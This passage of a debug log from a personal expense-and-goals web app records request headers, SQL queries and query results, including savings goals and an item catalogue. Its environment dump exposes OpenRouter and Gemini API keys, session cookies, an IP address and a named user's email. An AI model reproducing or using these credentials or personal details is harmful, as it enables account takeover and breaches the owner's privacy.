    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-02-24T12:06:23.789Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:06:23.790Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:06:23.791Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:06:23.791Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:06:23.791Z server-connect:app Executing action step identify
2026-02-24T12:06:23.791Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:23.791Z server-connect:output identity: 1
2026-02-24T12:06:23.791Z server-connect:app Executing action step restrict
2026-02-24T12:06:23.791Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:23.792Z server-connect:app Executing action step identify
2026-02-24T12:06:23.792Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:23.792Z server-connect:output identity: 1
2026-02-24T12:06:23.792Z server-connect:app Executing action step restrict
2026-02-24T12:06:23.792Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:23.793Z server-connect:app Executing action step identify
2026-02-24T12:06:23.793Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:23.793Z server-connect:output identity: 1
2026-02-24T12:06:23.793Z server-connect:app Executing action step restrict
2026-02-24T12:06:23.793Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:23.793Z server-connect:output restrict: undefined
2026-02-24T12:06:23.793Z server-connect:app Executing action step select
2026-02-24T12:06:23.793Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:06:23.794Z server-connect:output restrict: undefined
2026-02-24T12:06:23.794Z server-connect:app Executing action step custom
2026-02-24T12:06:23.794Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:06:23.794Z server-connect:app Executing action step identify
2026-02-24T12:06:23.794Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:23.794Z server-connect:output identity: 1
2026-02-24T12:06:23.794Z server-connect:app Executing action step restrict
2026-02-24T12:06:23.794Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:23.795Z server-connect:output restrict: undefined
2026-02-24T12:06:23.795Z server-connect:app Executing action step paged
2026-02-24T12:06:23.795Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:06:23.796Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  }
]
2026-02-24T12:06:23.799Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:06:23.801Z server-connect:output restrict: undefined
2026-02-24T12:06:23.801Z server-connect:app Executing action step single
2026-02-24T12:06:23.801Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:06:23.802Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:06:23.803Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-24T12:06:39.382Z server-connect:router Serving templateView /diecast-worksheet
2026-02-24T12:06:39.382Z server-connect:app Executing action step identify
2026-02-24T12:06:39.382Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.382Z server-connect:output identity: 1
2026-02-24T12:06:39.382Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.382Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:06:39.383Z server-connect:output restrict: undefined
2026-02-24T12:06:39.383Z server-connect:router Render template layouts/main
2026-02-24T12:06:39.383Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e0f-y8TCL47kJPvVEC9pLeJfXHrNBWs"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e0f-y8TCL47kJPvVEC9pLeJfXHrNBWs"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-24T12:06:39.958Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:06:39.960Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:06:39.961Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:06:39.962Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:06:39.963Z server-connect:app Executing action step identify
2026-02-24T12:06:39.963Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.963Z server-connect:output identity: 1
2026-02-24T12:06:39.963Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.963Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.964Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:06:39.964Z server-connect:output restrict: undefined
2026-02-24T12:06:39.964Z server-connect:app Executing action step single
2026-02-24T12:06:39.964Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:06:39.964Z server-connect:app Executing action step identify
2026-02-24T12:06:39.964Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.965Z server-connect:output identity: 1
2026-02-24T12:06:39.965Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.965Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.965Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:06:39.966Z server-connect:app Executing action step identify
2026-02-24T12:06:39.966Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.966Z server-connect:output identity: 1
2026-02-24T12:06:39.966Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.966Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.967Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-24T12:06:39.967Z server-connect:app Executing action step identify
2026-02-24T12:06:39.967Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.967Z server-connect:output identity: 1
2026-02-24T12:06:39.968Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.968Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.968Z server-connect:output restrict: undefined
2026-02-24T12:06:39.968Z server-connect:app Executing action step select
2026-02-24T12:06:39.968Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:06:39.968Z server-connect:output restrict: undefined
2026-02-24T12:06:39.968Z server-connect:app Executing action step select
2026-02-24T12:06:39.969Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:06:39.969Z server-connect:output restrict: undefined
2026-02-24T12:06:39.969Z server-connect:app Executing action step select
2026-02-24T12:06:39.969Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:06:39.970Z server-connect:app Executing action step identify
2026-02-24T12:06:39.970Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.970Z server-connect:output identity: 1
2026-02-24T12:06:39.970Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.970Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.971Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-24T12:06:39.975Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
